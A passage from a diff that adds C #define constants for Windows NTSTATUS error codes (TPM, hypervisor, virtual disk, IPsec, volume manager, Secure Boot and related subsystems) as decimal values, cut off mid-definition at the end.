-1071046655 +#define STATUS_PCP_INVALID_HANDLE -1071046654 +#define STATUS_PCP_INVALID_PARAMETER -1071046653 +#define STATUS_PCP_FLAG_NOT_SUPPORTED -1071046652 +#define STATUS_PCP_NOT_SUPPORTED -1071046651 +#define STATUS_PCP_BUFFER_TOO_SMALL -1071046650 +#define STATUS_PCP_INTERNAL_ERROR -1071046649 +#define STATUS_PCP_AUTHENTICATION_FAILED -1071046648 +#define STATUS_PCP_AUTHENTICATION_IGNORED -1071046647 +#define STATUS_PCP_POLICY_NOT_FOUND -1071046646 +#define STATUS_PCP_PROFILE_NOT_FOUND -1071046645 +#define STATUS_PCP_VALIDATION_FAILED -1071046644 +#define STATUS_PCP_DEVICE_NOT_FOUND -1071046643 +#define STATUS_PCP_WRONG_PARENT -1071046642 +#define STATUS_PCP_KEY_NOT_LOADED -1071046641 +#define STATUS_PCP_NO_KEY_CERTIFICATION -1071046640 +#define STATUS_PCP_KEY_NOT_FINALIZED -1071046639 +#define STATUS_PCP_ATTESTATION_CHALLENGE_NOT_SET -1071046638 +#define STATUS_PCP_NOT_PCR_BOUND -1071046637 +#define STATUS_PCP_KEY_ALREADY_FINALIZED -1071046636 +#define STATUS_PCP_KEY_USAGE_POLICY_NOT_SUPPORTED -1071046635 +#define STATUS_PCP_KEY_USAGE_POLICY_INVALID -1071046634 +#define STATUS_PCP_SOFT_KEY_ERROR -1071046633 +#define STATUS_PCP_KEY_NOT_AUTHENTICATED -1071046632 +#define STATUS_PCP_KEY_NOT_AIK -1071046631 +#define STATUS_PCP_KEY_NOT_SIGNING_KEY -1071046630 +#define STATUS_PCP_LOCKED_OUT -1071046629 +#define STATUS_PCP_CLAIM_TYPE_NOT_SUPPORTED -1071046628 +#define STATUS_PCP_TPM_VERSION_NOT_SUPPORTED -1071046627 +#define STATUS_PCP_BUFFER_LENGTH_MISMATCH -1071046626 +#define STATUS_PCP_IFX_RSA_KEY_CREATION_BLOCKED -1071046625 +#define STATUS_PCP_TICKET_MISSING -1071046624 +#define STATUS_PCP_RAW_POLICY_NOT_SUPPORTED -1071046623 +#define STATUS_PCP_KEY_HANDLE_INVALIDATED -1071046622 +#define STATUS_PCP_UNSUPPORTED_PSS_SALT 1076437027 +#define STATUS_RTPM_CONTEXT_CONTINUE 2699264 +#define STATUS_RTPM_CONTEXT_COMPLETE 2699265 +#define STATUS_RTPM_NO_RESULT -1071042558 +#define STATUS_RTPM_PCR_READ_INCOMPLETE -1071042557 +#define STATUS_RTPM_INVALID_CONTEXT -1071042556 +#define STATUS_RTPM_UNSUPPORTED_CMD -1071042555 +#define STATUS_TPM_ZERO_EXHAUST_ENABLED -1071038464 +#define STATUS_DRTM_ENVIRONMENT_UNSAFE -1071034368 +#define STATUS_DRTM_NO_DIRECT_AUTH_FOR_CURRENT_MLE -1071034367 +#define STATUS_HV_INVALID_HYPERCALL_CODE -1070268414 +#define STATUS_HV_INVALID_HYPERCALL_INPUT -1070268413 +#define STATUS_HV_INVALID_ALIGNMENT -1070268412 +#define STATUS_HV_INVALID_PARAMETER -1070268411 +#define STATUS_HV_ACCESS_DENIED -1070268410 +#define STATUS_HV_INVALID_PARTITION_STATE -1070268409 +#define STATUS_HV_OPERATION_DENIED -1070268408 +#define STATUS_HV_UNKNOWN_PROPERTY -1070268407 +#define STATUS_HV_PROPERTY_VALUE_OUT_OF_RANGE -1070268406 +#define STATUS_HV_INSUFFICIENT_MEMORY -1070268405 +#define STATUS_HV_PARTITION_TOO_DEEP -1070268404 +#define STATUS_HV_INVALID_PARTITION_ID -1070268403 +#define STATUS_HV_INVALID_VP_INDEX -1070268402 +#define STATUS_HV_INVALID_PORT_ID -1070268399 +#define STATUS_HV_INVALID_CONNECTION_ID -1070268398 +#define STATUS_HV_INSUFFICIENT_BUFFERS -1070268397 +#define STATUS_HV_NOT_ACKNOWLEDGED -1070268396 +#define STATUS_HV_INVALID_VP_STATE -1070268395 +#define STATUS_HV_ACKNOWLEDGED -1070268394 +#define STATUS_HV_INVALID_SAVE_RESTORE_STATE -1070268393 +#define STATUS_HV_INVALID_SYNIC_STATE -1070268392 +#define STATUS_HV_OBJECT_IN_USE -1070268391 +#define STATUS_HV_INVALID_PROXIMITY_DOMAIN_INFO -1070268390 +#define STATUS_HV_NO_DATA -1070268389 +#define STATUS_HV_INACTIVE -1070268388 +#define STATUS_HV_NO_RESOURCES -1070268387 +#define STATUS_HV_FEATURE_UNAVAILABLE -1070268386 +#define STATUS_HV_INSUFFICIENT_BUFFER -1070268365 +#define STATUS_HV_INSUFFICIENT_DEVICE_DOMAINS -1070268360 +#define STATUS_HV_CPUID_FEATURE_VALIDATION_ERROR -1070268356 +#define STATUS_HV_CPUID_XSAVE_FEATURE_VALIDATION_ERROR -1070268355 +#define STATUS_HV_PROCESSOR_STARTUP_TIMEOUT -1070268354 +#define STATUS_HV_SMX_ENABLED -1070268353 +#define STATUS_HV_INVALID_LP_INDEX -1070268351 +#define STATUS_HV_INVALID_REGISTER_VALUE -1070268336 +#define STATUS_HV_INVALID_VTL_STATE -1070268335 +#define STATUS_HV_NX_NOT_DETECTED -1070268331 +#define STATUS_HV_INVALID_DEVICE_ID -1070268329 +#define STATUS_HV_INVALID_DEVICE_STATE -1070268328 +#define STATUS_HV_PENDING_PAGE_REQUESTS 3473497 +#define STATUS_HV_PAGE_REQUEST_INVALID -1070268320 +#define STATUS_HV_INVALID_CPU_GROUP_ID -1070268305 +#define STATUS_HV_INVALID_CPU_GROUP_STATE -1070268304 +#define STATUS_HV_OPERATION_FAILED -1070268303 +#define STATUS_HV_NOT_ALLOWED_WITH_NESTED_VIRT_ACTIVE -1070268302 +#define STATUS_HV_INSUFFICIENT_ROOT_MEMORY -1070268301 +#define STATUS_HV_EVENT_BUFFER_ALREADY_FREED -1070268300 +#define STATUS_HV_INSUFFICIENT_CONTIGUOUS_MEMORY -1070268299 +#define STATUS_HV_DEVICE_NOT_IN_DOMAIN -1070268298 +#define STATUS_HV_NESTED_VM_EXIT -1070268297 +#define STATUS_HV_CALL_PENDING -1070268295 +#define STATUS_HV_MSR_ACCESS_FAILED -1070268288 +#define STATUS_HV_INSUFFICIENT_MEMORY_MIRRORING -1070268287 +#define STATUS_HV_INSUFFICIENT_CONTIGUOUS_MEMORY_MIRRORING -1070268286 +#define STATUS_HV_INSUFFICIENT_CONTIGUOUS_ROOT_MEMORY -1070268285 +#define STATUS_HV_INSUFFICIENT_ROOT_MEMORY_MIRRORING -1070268284 +#define STATUS_HV_INSUFFICIENT_CONTIGUOUS_ROOT_MEMORY_MIRRORING -1070268283 +#define STATUS_HV_VTL_ALREADY_ENABLED -1070268282 +#define STATUS_HV_SPDM_REQUEST -1070268280 +#define STATUS_HV_NOT_PRESENT -1070264320 +#define STATUS_VID_DUPLICATE_HANDLER -1070137343 +#define STATUS_VID_TOO_MANY_HANDLERS -1070137342 +#define STATUS_VID_QUEUE_FULL -1070137341 +#define STATUS_VID_HANDLER_NOT_PRESENT -1070137340 +#define STATUS_VID_INVALID_OBJECT_NAME -1070137339 +#define STATUS_VID_PARTITION_NAME_TOO_LONG -1070137338 +#define STATUS_VID_MESSAGE_QUEUE_NAME_TOO_LONG -1070137337 +#define STATUS_VID_PARTITION_ALREADY_EXISTS -1070137336 +#define STATUS_VID_PARTITION_DOES_NOT_EXIST -1070137335 +#define STATUS_VID_PARTITION_NAME_NOT_FOUND -1070137334 +#define STATUS_VID_MESSAGE_QUEUE_ALREADY_EXISTS -1070137333 +#define STATUS_VID_EXCEEDED_MBP_ENTRY_MAP_LIMIT -1070137332 +#define STATUS_VID_MB_STILL_REFERENCED -1070137331 +#define STATUS_VID_CHILD_GPA_PAGE_SET_CORRUPTED -1070137330 +#define STATUS_VID_INVALID_NUMA_SETTINGS -1070137329 +#define STATUS_VID_INVALID_NUMA_NODE_INDEX -1070137328 +#define STATUS_VID_NOTIFICATION_QUEUE_ALREADY_ASSOCIATED -1070137327 +#define STATUS_VID_INVALID_MEMORY_BLOCK_HANDLE -1070137326 +#define STATUS_VID_PAGE_RANGE_OVERFLOW -1070137325 +#define STATUS_VID_INVALID_MESSAGE_QUEUE_HANDLE -1070137324 +#define STATUS_VID_INVALID_GPA_RANGE_HANDLE -1070137323 +#define STATUS_VID_NO_MEMORY_BLOCK_NOTIFICATION_QUEUE -1070137322 +#define STATUS_VID_MEMORY_BLOCK_LOCK_COUNT_EXCEEDED -1070137321 +#define STATUS_VID_INVALID_PPM_HANDLE -1070137320 +#define STATUS_VID_MBPS_ARE_LOCKED -1070137319 +#define STATUS_VID_MESSAGE_QUEUE_CLOSED -1070137318 +#define STATUS_VID_VIRTUAL_PROCESSOR_LIMIT_EXCEEDED -1070137317 +#define STATUS_VID_STOP_PENDING -1070137316 +#define STATUS_VID_INVALID_PROCESSOR_STATE -1070137315 +#define STATUS_VID_EXCEEDED_KM_CONTEXT_COUNT_LIMIT -1070137314 +#define STATUS_VID_KM_INTERFACE_ALREADY_INITIALIZED -1070137313 +#define STATUS_VID_MB_PROPERTY_ALREADY_SET_RESET -1070137312 +#define STATUS_VID_MMIO_RANGE_DESTROYED -1070137311 +#define STATUS_VID_INVALID_CHILD_GPA_PAGE_SET -1070137310 +#define STATUS_VID_RESERVE_PAGE_SET_IS_BEING_USED -1070137309 +#define STATUS_VID_RESERVE_PAGE_SET_TOO_SMALL -1070137308 +#define STATUS_VID_MBP_ALREADY_LOCKED_USING_RESERVED_PAGE -1070137307 +#define STATUS_VID_MBP_COUNT_EXCEEDED_LIMIT -1070137306 +#define STATUS_VID_SAVED_STATE_CORRUPT -1070137305 +#define STATUS_VID_SAVED_STATE_UNRECOGNIZED_ITEM -1070137304 +#define STATUS_VID_SAVED_STATE_INCOMPATIBLE -1070137303 +#define STATUS_VID_VTL_ACCESS_DENIED -1070137302 +#define STATUS_VID_INSUFFICIENT_RESOURCES_RESERVE -1070137301 +#define STATUS_VID_INSUFFICIENT_RESOURCES_PHYSICAL_BUFFER -1070137300 +#define STATUS_VID_INSUFFICIENT_RESOURCES_HV_DEPOSIT -1070137299 +#define STATUS_VID_MEMORY_TYPE_NOT_SUPPORTED -1070137298 +#define STATUS_VID_INSUFFICIENT_RESOURCES_WITHDRAW -1070137297 +#define STATUS_VID_PROCESS_ALREADY_SET -1070137296 +#define STATUS_DM_OPERATION_LIMIT_EXCEEDED -1070135808 +#define STATUS_VID_REMOTE_NODE_PARENT_GPA_PAGES_USED -2143879167 +#define STATUS_IPSEC_BAD_SPI -1070202879 +#define STATUS_IPSEC_SA_LIFETIME_EXPIRED -1070202878 +#define STATUS_IPSEC_WRONG_SA -1070202877 +#define STATUS_IPSEC_REPLAY_CHECK_FAILED -1070202876 +#define STATUS_IPSEC_INVALID_PACKET -1070202875 +#define STATUS_IPSEC_INTEGRITY_CHECK_FAILED -1070202874 +#define STATUS_IPSEC_CLEAR_TEXT_DROP -1070202873 +#define STATUS_IPSEC_AUTH_FIREWALL_DROP -1070202872 +#define STATUS_IPSEC_THROTTLE_DROP -1070202871 +#define STATUS_IPSEC_DOSP_BLOCK -1070170112 +#define STATUS_IPSEC_DOSP_RECEIVED_MULTICAST -1070170111 +#define STATUS_IPSEC_DOSP_INVALID_PACKET -1070170110 +#define STATUS_IPSEC_DOSP_STATE_LOOKUP_FAILED -1070170109 +#define STATUS_IPSEC_DOSP_MAX_ENTRIES -1070170108 +#define STATUS_IPSEC_DOSP_KEYMOD_NOT_ALLOWED -1070170107 +#define STATUS_IPSEC_DOSP_MAX_PER_IP_RATELIMIT_QUEUES -1070170106 +#define STATUS_VOLMGR_INCOMPLETE_REGENERATION -2143813631 +#define STATUS_VOLMGR_INCOMPLETE_DISK_MIGRATION -2143813630 +#define STATUS_VOLMGR_DATABASE_FULL -1070071807 +#define STATUS_VOLMGR_DISK_CONFIGURATION_CORRUPTED -1070071806 +#define STATUS_VOLMGR_DISK_CONFIGURATION_NOT_IN_SYNC -1070071805 +#define STATUS_VOLMGR_PACK_CONFIG_UPDATE_FAILED -1070071804 +#define STATUS_VOLMGR_DISK_CONTAINS_NON_SIMPLE_VOLUME -1070071803 +#define STATUS_VOLMGR_DISK_DUPLICATE -1070071802 +#define STATUS_VOLMGR_DISK_DYNAMIC -1070071801 +#define STATUS_VOLMGR_DISK_ID_INVALID -1070071800 +#define STATUS_VOLMGR_DISK_INVALID -1070071799 +#define STATUS_VOLMGR_DISK_LAST_VOTER -1070071798 +#define STATUS_VOLMGR_DISK_LAYOUT_INVALID -1070071797 +#define STATUS_VOLMGR_DISK_LAYOUT_NON_BASIC_BETWEEN_BASIC_PARTITIONS -1070071796 +#define STATUS_VOLMGR_DISK_LAYOUT_NOT_CYLINDER_ALIGNED -1070071795 +#define STATUS_VOLMGR_DISK_LAYOUT_PARTITIONS_TOO_SMALL -1070071794 +#define STATUS_VOLMGR_DISK_LAYOUT_PRIMARY_BETWEEN_LOGICAL_PARTITIONS -1070071793 +#define STATUS_VOLMGR_DISK_LAYOUT_TOO_MANY_PARTITIONS -1070071792 +#define STATUS_VOLMGR_DISK_MISSING -1070071791 +#define STATUS_VOLMGR_DISK_NOT_EMPTY -1070071790 +#define STATUS_VOLMGR_DISK_NOT_ENOUGH_SPACE -1070071789 +#define STATUS_VOLMGR_DISK_REVECTORING_FAILED -1070071788 +#define STATUS_VOLMGR_DISK_SECTOR_SIZE_INVALID -1070071787 +#define STATUS_VOLMGR_DISK_SET_NOT_CONTAINED -1070071786 +#define STATUS_VOLMGR_DISK_USED_BY_MULTIPLE_MEMBERS -1070071785 +#define STATUS_VOLMGR_DISK_USED_BY_MULTIPLE_PLEXES -1070071784 +#define STATUS_VOLMGR_DYNAMIC_DISK_NOT_SUPPORTED -1070071783 +#define STATUS_VOLMGR_EXTENT_ALREADY_USED -1070071782 +#define STATUS_VOLMGR_EXTENT_NOT_CONTIGUOUS -1070071781 +#define STATUS_VOLMGR_EXTENT_NOT_IN_PUBLIC_REGION -1070071780 +#define STATUS_VOLMGR_EXTENT_NOT_SECTOR_ALIGNED -1070071779 +#define STATUS_VOLMGR_EXTENT_OVERLAPS_EBR_PARTITION -1070071778 +#define STATUS_VOLMGR_EXTENT_VOLUME_LENGTHS_DO_NOT_MATCH -1070071777 +#define STATUS_VOLMGR_FAULT_TOLERANT_NOT_SUPPORTED -1070071776 +#define STATUS_VOLMGR_INTERLEAVE_LENGTH_INVALID -1070071775 +#define STATUS_VOLMGR_MAXIMUM_REGISTERED_USERS -1070071774 +#define STATUS_VOLMGR_MEMBER_IN_SYNC -1070071773 +#define STATUS_VOLMGR_MEMBER_INDEX_DUPLICATE -1070071772 +#define STATUS_VOLMGR_MEMBER_INDEX_INVALID -1070071771 +#define STATUS_VOLMGR_MEMBER_MISSING -1070071770 +#define STATUS_VOLMGR_MEMBER_NOT_DETACHED -1070071769 +#define STATUS_VOLMGR_MEMBER_REGENERATING -1070071768 +#define STATUS_VOLMGR_ALL_DISKS_FAILED -1070071767 +#define STATUS_VOLMGR_NO_REGISTERED_USERS -1070071766 +#define STATUS_VOLMGR_NO_SUCH_USER -1070071765 +#define STATUS_VOLMGR_NOTIFICATION_RESET -1070071764 +#define STATUS_VOLMGR_NUMBER_OF_MEMBERS_INVALID -1070071763 +#define STATUS_VOLMGR_NUMBER_OF_PLEXES_INVALID -1070071762 +#define STATUS_VOLMGR_PACK_DUPLICATE -1070071761 +#define STATUS_VOLMGR_PACK_ID_INVALID -1070071760 +#define STATUS_VOLMGR_PACK_INVALID -1070071759 +#define STATUS_VOLMGR_PACK_NAME_INVALID -1070071758 +#define STATUS_VOLMGR_PACK_OFFLINE -1070071757 +#define STATUS_VOLMGR_PACK_HAS_QUORUM -1070071756 +#define STATUS_VOLMGR_PACK_WITHOUT_QUORUM -1070071755 +#define STATUS_VOLMGR_PARTITION_STYLE_INVALID -1070071754 +#define STATUS_VOLMGR_PARTITION_UPDATE_FAILED -1070071753 +#define STATUS_VOLMGR_PLEX_IN_SYNC -1070071752 +#define STATUS_VOLMGR_PLEX_INDEX_DUPLICATE -1070071751 +#define STATUS_VOLMGR_PLEX_INDEX_INVALID -1070071750 +#define STATUS_VOLMGR_PLEX_LAST_ACTIVE -1070071749 +#define STATUS_VOLMGR_PLEX_MISSING -1070071748 +#define STATUS_VOLMGR_PLEX_REGENERATING -1070071747 +#define STATUS_VOLMGR_PLEX_TYPE_INVALID -1070071746 +#define STATUS_VOLMGR_PLEX_NOT_RAID5 -1070071745 +#define STATUS_VOLMGR_PLEX_NOT_SIMPLE -1070071744 +#define STATUS_VOLMGR_STRUCTURE_SIZE_INVALID -1070071743 +#define STATUS_VOLMGR_TOO_MANY_NOTIFICATION_REQUESTS -1070071742 +#define STATUS_VOLMGR_TRANSACTION_IN_PROGRESS -1070071741 +#define STATUS_VOLMGR_UNEXPECTED_DISK_LAYOUT_CHANGE -1070071740 +#define STATUS_VOLMGR_VOLUME_CONTAINS_MISSING_DISK -1070071739 +#define STATUS_VOLMGR_VOLUME_ID_INVALID -1070071738 +#define STATUS_VOLMGR_VOLUME_LENGTH_INVALID -1070071737 +#define STATUS_VOLMGR_VOLUME_LENGTH_NOT_SECTOR_SIZE_MULTIPLE -1070071736 +#define STATUS_VOLMGR_VOLUME_NOT_MIRRORED -1070071735 +#define STATUS_VOLMGR_VOLUME_NOT_RETAINED -1070071734 +#define STATUS_VOLMGR_VOLUME_OFFLINE -1070071733 +#define STATUS_VOLMGR_VOLUME_RETAINED -1070071732 +#define STATUS_VOLMGR_NUMBER_OF_EXTENTS_INVALID -1070071731 +#define STATUS_VOLMGR_DIFFERENT_SECTOR_SIZE -1070071730 +#define STATUS_VOLMGR_BAD_BOOT_DISK -1070071729 +#define STATUS_VOLMGR_PACK_CONFIG_OFFLINE -1070071728 +#define STATUS_VOLMGR_PACK_CONFIG_ONLINE -1070071727 +#define STATUS_VOLMGR_NOT_PRIMARY_PACK -1070071726 +#define STATUS_VOLMGR_PACK_LOG_UPDATE_FAILED -1070071725 +#define STATUS_VOLMGR_NUMBER_OF_DISKS_IN_PLEX_INVALID -1070071724 +#define STATUS_VOLMGR_NUMBER_OF_DISKS_IN_MEMBER_INVALID -1070071723 +#define STATUS_VOLMGR_VOLUME_MIRRORED -1070071722 +#define STATUS_VOLMGR_PLEX_NOT_SIMPLE_SPANNED -1070071721 +#define STATUS_VOLMGR_NO_VALID_LOG_COPIES -1070071720 +#define STATUS_VOLMGR_PRIMARY_PACK_PRESENT -1070071719 +#define STATUS_VOLMGR_NUMBER_OF_DISKS_INVALID -1070071718 +#define STATUS_VOLMGR_MIRROR_NOT_SUPPORTED -1070071717 +#define STATUS_VOLMGR_RAID5_NOT_SUPPORTED -1070071716 +#define STATUS_BCD_NOT_ALL_ENTRIES_IMPORTED -2143748095 +#define STATUS_BCD_TOO_MANY_ELEMENTS -1070006270 +#define STATUS_BCD_NOT_ALL_ENTRIES_SYNCHRONIZED -2143748093 +#define STATUS_VHD_DRIVE_FOOTER_MISSING -1069940735 +#define STATUS_VHD_DRIVE_FOOTER_CHECKSUM_MISMATCH -1069940734 +#define STATUS_VHD_DRIVE_FOOTER_CORRUPT -1069940733 +#define STATUS_VHD_FORMAT_UNKNOWN -1069940732 +#define STATUS_VHD_FORMAT_UNSUPPORTED_VERSION -1069940731 +#define STATUS_VHD_SPARSE_HEADER_CHECKSUM_MISMATCH -1069940730 +#define STATUS_VHD_SPARSE_HEADER_UNSUPPORTED_VERSION -1069940729 +#define STATUS_VHD_SPARSE_HEADER_CORRUPT -1069940728 +#define STATUS_VHD_BLOCK_ALLOCATION_FAILURE -1069940727 +#define STATUS_VHD_BLOCK_ALLOCATION_TABLE_CORRUPT -1069940726 +#define STATUS_VHD_INVALID_BLOCK_SIZE -1069940725 +#define STATUS_VHD_BITMAP_MISMATCH -1069940724 +#define STATUS_VHD_PARENT_VHD_NOT_FOUND -1069940723 +#define STATUS_VHD_CHILD_PARENT_ID_MISMATCH -1069940722 +#define STATUS_VHD_CHILD_PARENT_TIMESTAMP_MISMATCH -1069940721 +#define STATUS_VHD_METADATA_READ_FAILURE -1069940720 +#define STATUS_VHD_METADATA_WRITE_FAILURE -1069940719 +#define STATUS_VHD_INVALID_SIZE -1069940718 +#define STATUS_VHD_INVALID_FILE_SIZE -1069940717 +#define STATUS_VIRTDISK_PROVIDER_NOT_FOUND -1069940716 +#define STATUS_VIRTDISK_NOT_VIRTUAL_DISK -1069940715 +#define STATUS_VHD_PARENT_VHD_ACCESS_DENIED -1069940714 +#define STATUS_VHD_CHILD_PARENT_SIZE_MISMATCH -1069940713 +#define STATUS_VHD_DIFFERENCING_CHAIN_CYCLE_DETECTED -1069940712 +#define STATUS_VHD_DIFFERENCING_CHAIN_ERROR_IN_PARENT -1069940711 +#define STATUS_VIRTUAL_DISK_LIMITATION -1069940710 +#define STATUS_VHD_INVALID_TYPE -1069940709 +#define STATUS_VHD_INVALID_STATE -1069940708 +#define STATUS_VIRTDISK_UNSUPPORTED_DISK_SECTOR_SIZE -1069940707 +#define STATUS_VIRTDISK_DISK_ALREADY_OWNED -1069940706 +#define STATUS_VIRTDISK_DISK_ONLINE_AND_WRITABLE -1069940705 +#define STATUS_CTLOG_TRACKING_NOT_INITIALIZED -1069940704 +#define STATUS_CTLOG_LOGFILE_SIZE_EXCEEDED_MAXSIZE -1069940703 +#define STATUS_CTLOG_VHD_CHANGED_OFFLINE -1069940702 +#define STATUS_CTLOG_INVALID_TRACKING_STATE -1069940701 +#define STATUS_CTLOG_INCONSISTENT_TRACKING_FILE -1069940700 +#define STATUS_VHD_METADATA_FULL -1069940696 +#define STATUS_VHD_INVALID_CHANGE_TRACKING_ID -1069940695 +#define STATUS_VHD_CHANGE_TRACKING_DISABLED -1069940694 +#define STATUS_VHD_MISSING_CHANGE_TRACKING_INFORMATION -1069940688 +#define STATUS_VHD_RESIZE_WOULD_TRUNCATE_DATA -1069940687 +#define STATUS_VHD_COULD_NOT_COMPUTE_MINIMUM_VIRTUAL_SIZE -1069940686 +#define STATUS_VHD_ALREADY_AT_OR_BELOW_MINIMUM_VIRTUAL_SIZE -1069940685 +#define STATUS_VHD_UNEXPECTED_ID -1069940684 +#define STATUS_QUERY_STORAGE_ERROR -2143682559 +#define STATUS_GDI_HANDLE_LEAK -2143354879 +#define STATUS_RKF_KEY_NOT_FOUND -1069547519 +#define STATUS_RKF_DUPLICATE_KEY -1069547518 +#define STATUS_RKF_BLOB_FULL -1069547517 +#define STATUS_RKF_STORE_FULL -1069547516 +#define STATUS_RKF_FILE_BLOCKED -1069547515 +#define STATUS_RKF_ACTIVE_KEY -1069547514 +#define STATUS_RDBSS_RESTART_OPERATION -1069481983 +#define STATUS_RDBSS_CONTINUE_OPERATION -1069481982 +#define STATUS_RDBSS_POST_OPERATION -1069481981 +#define STATUS_RDBSS_RETRY_LOOKUP -1069481980 +#define STATUS_BTH_ATT_INVALID_HANDLE -1069416447 +#define STATUS_BTH_ATT_READ_NOT_PERMITTED -1069416446 +#define STATUS_BTH_ATT_WRITE_NOT_PERMITTED -1069416445 +#define STATUS_BTH_ATT_INVALID_PDU -1069416444 +#define STATUS_BTH_ATT_INSUFFICIENT_AUTHENTICATION -1069416443 +#define STATUS_BTH_ATT_REQUEST_NOT_SUPPORTED -1069416442 +#define STATUS_BTH_ATT_INVALID_OFFSET -1069416441 +#define STATUS_BTH_ATT_INSUFFICIENT_AUTHORIZATION -1069416440 +#define STATUS_BTH_ATT_PREPARE_QUEUE_FULL -1069416439 +#define STATUS_BTH_ATT_ATTRIBUTE_NOT_FOUND -1069416438 +#define STATUS_BTH_ATT_ATTRIBUTE_NOT_LONG -1069416437 +#define STATUS_BTH_ATT_INSUFFICIENT_ENCRYPTION_KEY_SIZE -1069416436 +#define STATUS_BTH_ATT_INVALID_ATTRIBUTE_VALUE_LENGTH -1069416435 +#define STATUS_BTH_ATT_UNLIKELY -1069416434 +#define STATUS_BTH_ATT_INSUFFICIENT_ENCRYPTION -1069416433 +#define STATUS_BTH_ATT_UNSUPPORTED_GROUP_TYPE -1069416432 +#define STATUS_BTH_ATT_INSUFFICIENT_RESOURCES -1069416431 +#define STATUS_BTH_ATT_UNKNOWN_ERROR -1069412352 +#define STATUS_SECUREBOOT_ROLLBACK_DETECTED -1069350911 +#define STATUS_SECUREBOOT_POLICY_VIOLATION -1069350910 +#define STATUS_SECUREBOOT_INVALID_POLICY -1069350909 +#define STATUS_SECUREBOOT_POLICY_PUBLISHER_NOT_FOUND -1069350908 +#define STATUS_SECUREBOOT_POLICY_NOT_SIGNED -1069350907 +#define STATUS_SECUREBOOT_NOT_ENABLED -2143092730 +#define STATUS_SECUREBOOT_FILE_REPLACED -1069350905 +#define STATUS_SECUREBOOT_POLICY_NOT_AUTHORIZED -1069350904 +#define STATUS_SECUREBOOT_POLICY_UNKNOWN -1069350903 +#define STATUS_SECUREBOOT_POLICY_MISSING_ANTIROLLBACKVERSION -1069350902 +#define STATUS_SECUREBOOT_PLATFORM_ID_MISMATCH -1069350901 +#define STATUS_SECUREBOOT_POLICY_ROLLBACK_DETECTED -1069350900 +#define STATUS_SECUREBOOT_POLICY_UPGRADE_MISMATCH -1069350899 +#define STATUS_SECUREBOOT_REQUIRED_POLICY_FILE_MISSING -1069350898 +#define STATUS_SECUREBOOT_NOT_BASE_POLICY -1069350897 +#define STATUS_SECUREBOOT_NOT_SUPPLEMENTAL_POLICY -1069350896 +#define STATUS_PLATFORM_MANIFEST_NOT_AUTHORIZED -1058340863 +#define STATUS_PLATFORM_MANIFEST_INVALID -1058340862 +#define STATUS_PLATFORM_MANIFEST_FILE_NOT_AUTHORIZED -1058340861 +#define STATUS_PLATFORM_MANIFEST_CATALOG_NOT_AUTHORIZED -1058340860 +#define STATUS_PLATFORM_MANIFEST_BINARY_ID_NOT_FOUND -1058340859 +#define STATUS_PLATFORM_MANIFEST_NOT_ACTIVE -1058340858 +#define STATUS_PLATFORM_MANIFEST_NOT_SIGNED -1058340857 +#define STATUS_SYSTEM_INTEGRITY_ROLLBACK_DETECTED -1058471935 +#define STATUS_SYSTEM_INTEGRITY_POLICY_VIOLATION -1058471934 +#define STATUS_SYSTEM_INTEGRITY_INVALID_POLICY -1058471933 +#define STATUS_SYSTEM_INTEGRITY_POLICY_NOT_SIGNED -1058471932 +#define STATUS_SYSTEM_INTEGRITY_TOO_MANY_POLICIES -1058471931 +#define STATUS_SYSTEM_INTEGRITY_SUPPLEMENTAL_POLICY_NOT_AUTHORIZED -1058471930 +#define STATUS_SYSTEM_INTEGRITY_REPUTATION_MALICIOUS -1058471929 +#define STATUS_SYSTEM_INTEGRITY_REPUTATION_PUA -1058471928 +#define STATUS_SYSTEM_INTEGRITY_REPUTATION_DANGEROUS_EXT -1058471927 +#define STATUS_SYSTEM_INTEGRITY_REPUTATION_OFFLINE -1058471926 +#define STATUS_SYSTEM_INTEGRITY_REPUTATION_UNFRIENDLY_FILE -1058471925 +#define STATUS_SYSTEM_INTEGRITY_REPUTATION_UNATTAINABLE -1058471924 +#define STATUS_SYSTEM_INTEGRITY_REPUTATION_EXPLICIT_DENY_FILE -1058471923 +#define STATUS_SYSTEM_INTEGRITY_WHQL_NOT_SATISFIED -1058471922 +#define STATUS_NO_APPLICABLE_APP_LICENSES_FOUND -1058406399 +#define STATUS_CLIP_LICENSE_NOT_FOUND -1058406398 +#define STATUS_CLIP_DEVICE_LICENSE_MISSING -1058406397 +#define STATUS_CLIP_LICENSE_INVALID_SIGNATURE -1058406396 +#define STATUS_CLIP_KEYHOLDER_LICENSE_MISSING_OR_INVALID -1058406395 +#define STATUS_CLIP_LICENSE_EXPIRED -1058406394 +#define STATUS_CLIP_LICENSE_SIGNED_BY_UNKNOWN_SOURCE -1058406393 +#define STATUS_CLIP_LICENSE_NOT_SIGNED -1058406392 +#define STATUS_CLIP_LICENSE_HARDWARE_ID_OUT_OF_TOLERANCE -1058406391 +#define STATUS_CLIP_LICENSE_DEVICE_ID_MISMATCH -1058406390 +#define STATUS_AUDIO_ENGINE_NODE_NOT_FOUND -1069285375 +#define STATUS_HDAUDIO_EMPTY_CONNECTION_LIST -1069285374 +#define STATUS_HDAUDIO_CONNECTION_LIST_NOT_SUPPORTED -1069285373 +#define STATUS_HDAUDIO_NO_LOGICAL_DEVICES_CREATED -1069285372 +#define STATUS_HDAUDIO_NULL_LINKED_LIST_ENTRY -1069285371 +#define STATUS_SOUNDWIRE_COMMAND_ABORTED -1069285370 +#define STATUS_SOUNDWIRE_COMMAND_IGNORED -1069285369 +#define STATUS_SOUNDWIRE_COMMAND_FAILED -1069285368 +#define STATUS_SPACES_REPAIRED 15138816 +#define STATUS_SPACES_PAUSE 15138817 +#define STATUS_SPACES_COMPLETE 15138818 +#define STATUS_SPACES_REDIRECT 15138819 +#define STATUS_SPACES_FAULT_DOMAIN_TYPE_INVALID -1058603007 +#define STATUS_SPACES_RESILIENCY_TYPE_INVALID -1058603005 +#define STATUS_SPACES_DRIVE_SECTOR_SIZE_INVALID -1058603004 +#define STATUS_SPACES_DRIVE_REDUNDANCY_INVALID -1058603002 +#define STATUS_SPACES_NUMBER_OF_DATA_COPIES_INVALID -1058603001 +#define STATUS_SPACES_INTERLEAVE_LENGTH_INVALID -1058602999 +#define STATUS_SPACES_NUMBER_OF_COLUMNS_INVALID -1058602998 +#define STATUS_SPACES_NOT_ENOUGH_DRIVES -1058602997 +#define STATUS_SPACES_EXTENDED_ERROR -1058602996 +#define STATUS_SPACES_PROVISIONING_TYPE_INVALID -1058602995 +#define STATUS_SPACES_ALLOCATION_SIZE_INVALID -1058602994 +#define STATUS_SPACES_ENCLOSURE_AWARE_INVALID -1058602993 +#define STATUS_SPACES_WRITE_CACHE_SIZE_INVALID -1058602992 +#define 